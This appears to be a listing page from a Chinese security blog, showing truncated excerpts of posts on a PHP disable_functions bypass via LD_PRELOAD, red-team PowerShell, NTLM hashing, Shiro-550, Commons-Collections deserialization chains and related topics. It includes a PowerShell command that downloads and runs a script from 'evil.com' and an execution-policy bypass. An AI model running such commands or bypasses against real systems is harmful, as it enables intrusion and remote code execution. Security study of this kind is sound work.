以下是绕过 PHP disable_functions 限制的完整方案,逐步说明如何在内网攻击中实现网络请求:
绕过 disable_functions 的终极方案1. 确认禁用函数列表首先通过 phpinfo() 或以下脚本获取被禁用的函数:
12<?phpecho "禁用函数:" . ini_get('disable_functions');
2. 基于可用函数的绕过方法根据未被禁用的函数选择对应策略:
方案一:利用 LD_PRELOAD + mail() 组合适用条件:
mail() 函数可用
可上传 .so 文件(Linux)或编写自定义库
步骤:
编写恶意共享库(bypass.c):
12345678910111213141516171819202122232425#include <stdlib.h>#include <stdio.h>#include <sys/socket.h>#include <netinet/in.h>#include <arpa/ine ...
网络安全
未读1.环境安装1.1.PHP+IDE安装
Windows-php下载地址。
配置环境变量。
安装PHPSTORM
配置项目解释器
1.2.Composer安装
Composer下载
设置国内镜像
1composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
可能遇到composer ssl问题,在ini中添加openssl扩展extension=openssl
创建thinkphp项目
1composer create-project topthink/think=6.0.* tp60 --ignore-platform-reqs
1.3.Xdebug安装
下载Xdebug
配置Xdebug
配置php.ini文件
123456789101112131415[Xdebug]zend_extension=D:/Language/PHP/php7.3.4nts/ext/php_xdebug.dll ;下载的对应版本的Xdebug文件xdebug.collect_pa ...
网络安全
未读在渗透测试红队中,PowerShell 是一个强大的工具,因其深度集成于 Windows 系统且灵活性高,常用于信息收集、权限提升、横向移动和持久化攻击。以下是 PowerShell 的基础知识和红队常用技巧:
一、红队PowerShell1. PowerShell 基础基本概念
**PowerShell (PS)**:基于 .NET 的脚本语言和命令行工具,支持自动化任务和系统管理。
Cmdlet:PowerShell 内置命令(如 Get-Process、Copy-Item)。
脚本文件:扩展名为 .ps1,可通过命令行执行。
执行策略:控制脚本运行权限,默认限制严格(Restricted)。
常用命令
执行脚本:powershell -ExecutionPolicy Bypass -File script.ps1
绕过执行策略:1powershell -ep bypass
远程下载并执行:1IEX (New-Object Net.WebClient).DownloadString('http://evil.com/script.ps1')
2. 红队常 ...
网络安全
未读Windows认证1.Windows本地认证
Administrator
登陆系统时从sam文件中读取密码哈希和用户输入的密码进行NTML HASH进行比对。
2.我的密码在哪?
路径**%System%\System32\config\SAM**
3.NTLM (NT LAN Manager) HASH
32位 数字+字母(和md5长度一致)
Windows本身不存储用户的明文密码
4.NTLM Hash产生流程1. 输入预处理:密码转 Unicode 编码
原始密码:用户输入的明文密码(例如 Password123)。
编码规则:将密码转换为 UTF-16 Little Endian (LE) 格式的字节序列。
12# 示例:密码 "Password123" 的 UTF-16LE 编码bytes = "P\0a\0s\0s\0w\0o\0r\0d\0123\0".hex() # 每个字符占 2 字节(含空终止符)
2. 计算 MD4 散列值
算法选择:使用 MD4 算法(已被证明不安全,但 NTLMv1/v2 仍依赖此 ...
以下是 PHP 中序列化(Serialization)与反序列化(Unserialization)的基础知识总结:
1. 序列化(Serialization)
定义:将数据结构或对象转换为可存储或传输的字符串格式(二进制安全)。
函数:serialize($data)
支持类型:基本类型(int、string、bool、float、null)、数组、对象。
对象序列化:
序列化对象时会保存类的名称、属性和值(不包括方法)。
如果类定义了魔术方法 __sleep(),序列化时会自动调用该方法,可以指定需要序列化的属性列表。
12345678910111213141516171819class User { public $name; private $password; public function __construct($name, $password) { $this->name = $name; $this->password = $password; } // 定义 _ ...
1.shiro5501.1.环境搭建
getcode
123git clone https://github.com/apache/shiro.gitcd shiro git checkout shiro-root-1.2.4
编辑pom文件,将jstl版本修改为1.2
123456<dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2</version> <scope>runtime</scope></dependency>
配置tomcat
tomcat历史版本下载地址:http://archive.apache.org/dist/tomcat/
1.2.测试1.2.1.流量包登录特征
无论是否点击“记住我”选项,响应头的Set-Cookie字段中均存在remember字段。
1.3.代码跟踪&a ...
1.WEB JS逆向出密钥和算法以及签名
通过前端JS逆向发现请求响应都使用的是SM4加密算法。且跟踪代码后发现密钥在前端进行了硬编码
而签名逻辑为url+body参数+‘-’+url参数+请求方法,最后替换掉斜线
2.复现完整加解密和签名逻辑
首先对加密数据进行BASE64解码为二进制数据,然后进行SM4ECB解密。加密就反过来即可。
签名逻辑复现
3.编写插件3.1.新建IDEA Maven项目
我这里采用的是Maven项目,如果想用Groovy构建的也可以,Groovy构建的更快,官方也是用的Groovy,不过我用的不够熟悉,有时候构建容易出问题,所以我这采用Maven构建。需要注意的是JDK版本一定要是JAVA17版本以上的,因为我们这使用的是新版本的montoya-api,而不是老版本的API,所以必须使用高版本JAVA。
pom文件配置
需要导入的是bp插件的API依赖两个,
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647 ...
1.简介
该链主要利用org.apache.commons.collections.functors.InvokerTransformer类可通过反射调用程序中任意方法,包括Runtime.getRuntime()方法。
pom.xml导入commons-collections依赖
12345<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version></dependency>
该篇讲的是CC1中的一条链,也是原作者最开始用的一条链,前面一篇不过是之后的变种,也就是说这个才是原来那条最开始流行的CC1链。
2.代码分析2.1.执行类分析(这部分和上一节一样)
在CC1中用来作为执行类的是org.apache.commons.collections.functors.InvokerTran ...
1.简介
该链主要利用org.apache.commons.collections.functors.InvokerTransformer类可通过反射调用程序中任意方法,包括Runtime.getRuntime()方法。
pom.xml导入commons-collections依赖
12345<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version></dependency>
该篇讲的是CC1中的一条链,也是原作者最开始用的一条链,前面一篇不过是之后的变种,也就是说这个才是原来那条最开始流行的CC1链。
2.代码分析2.1.执行类分析(这部分和上一节一样)
在CC1中用来作为执行类的是org.apache.commons.collections.functors.InvokerTran ...
类的动态加载Java类的动态加载机制是其核心特性之一,允许在运行时按需加载类,而非在程序启动时一次性加载所有类。这种机制为模块化开发、热部署和插件系统提供了基础支持。以下从 类加载生命周期、动态加载方式、应用场景和常见问题四个维度详细解析:
一、类加载的生命周期Java类加载遵循 加载(Loading)→ 链接(Linking)→ 初始化(Initialization) 三阶段:
加载通过类加载器(ClassLoader)查找字节码(.class文件),生成对应的Class对象。
链接
验证:检查字节码是否符合JVM规范。
准备:为静态变量分配内存并赋默认值(如int初始化为0)。
解析:将符号引用转换为直接引用。
初始化执行静态代码块(static{})和静态变量赋值。
关键点:类的初始化是惰性的,仅在首次主动使用时触发(如new实例、访问静态字段/方法)。
二、动态加载的实现方式1. 使用 Class.forName()12345// 加载并初始化类(默认触发初始化)Class<?> clazz = Class.forN ...